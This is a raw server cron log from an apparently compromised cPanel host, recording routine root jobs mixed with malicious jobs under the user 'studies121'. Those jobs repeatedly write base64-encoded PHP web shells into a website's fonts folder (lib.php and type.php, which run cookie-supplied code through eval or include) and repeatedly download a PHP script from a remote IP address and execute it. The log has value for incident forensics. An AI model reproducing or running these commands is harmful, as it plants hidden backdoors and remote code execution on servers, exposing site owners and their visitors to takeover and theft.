Sep  2 16:28:01 ip-184-168-122-23 CROND[12891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:29:01 ip-184-168-122-23 CROND[12976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:29:01 ip-184-168-122-23 CROND[12975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:29:01 ip-184-168-122-23 CROND[12977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:29:01 ip-184-168-122-23 CROND[12979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:30:01 ip-184-168-122-23 CROND[13086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:30:01 ip-184-168-122-23 CROND[13087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:30:01 ip-184-168-122-23 CROND[13091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:30:01 ip-184-168-122-23 CROND[13094]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:30:01 ip-184-168-122-23 CROND[13096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:30:01 ip-184-168-122-23 CROND[13090]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 16:30:01 ip-184-168-122-23 CROND[13093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:30:01 ip-184-168-122-23 CROND[13095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:30:01 ip-184-168-122-23 CROND[13092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:31:01 ip-184-168-122-23 CROND[13203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:31:01 ip-184-168-122-23 CROND[13204]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:31:01 ip-184-168-122-23 CROND[13202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:31:01 ip-184-168-122-23 CROND[13205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:31:01 ip-184-168-122-23 CROND[13206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:32:01 ip-184-168-122-23 CROND[13300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:32:01 ip-184-168-122-23 CROND[13301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:32:01 ip-184-168-122-23 CROND[13303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:32:01 ip-184-168-122-23 CROND[13305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:32:01 ip-184-168-122-23 CROND[13306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:33:01 ip-184-168-122-23 CROND[13495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:33:01 ip-184-168-122-23 CROND[13497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:33:01 ip-184-168-122-23 CROND[13496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:33:01 ip-184-168-122-23 CROND[13498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:34:01 ip-184-168-122-23 CROND[13596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:34:01 ip-184-168-122-23 CROND[13599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:34:01 ip-184-168-122-23 CROND[13600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:34:01 ip-184-168-122-23 CROND[13598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:34:01 ip-184-168-122-23 CROND[13601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:35:01 ip-184-168-122-23 CROND[13699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13705]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:35:01 ip-184-168-122-23 CROND[13706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:36:01 ip-184-168-122-23 CROND[13800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:36:01 ip-184-168-122-23 CROND[13798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:36:01 ip-184-168-122-23 CROND[13799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:36:01 ip-184-168-122-23 CROND[13801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:36:01 ip-184-168-122-23 CROND[13802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:37:01 ip-184-168-122-23 CROND[13894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:37:01 ip-184-168-122-23 CROND[13896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:37:01 ip-184-168-122-23 CROND[13897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:37:01 ip-184-168-122-23 CROND[13898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:38:01 ip-184-168-122-23 CROND[14074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:38:01 ip-184-168-122-23 CROND[14076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:38:01 ip-184-168-122-23 CROND[14077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:38:01 ip-184-168-122-23 CROND[14078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:38:01 ip-184-168-122-23 CROND[14079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:39:01 ip-184-168-122-23 CROND[14182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:39:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:39:01 ip-184-168-122-23 CROND[14186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:39:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:39:01 ip-184-168-122-23 CROND[14187]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 16:40:01 ip-184-168-122-23 CROND[14281]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:40:01 ip-184-168-122-23 CROND[14283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:40:01 ip-184-168-122-23 CROND[14286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:40:01 ip-184-168-122-23 CROND[14285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:40:01 ip-184-168-122-23 CROND[14288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:40:01 ip-184-168-122-23 CROND[14290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:40:01 ip-184-168-122-23 CROND[14289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
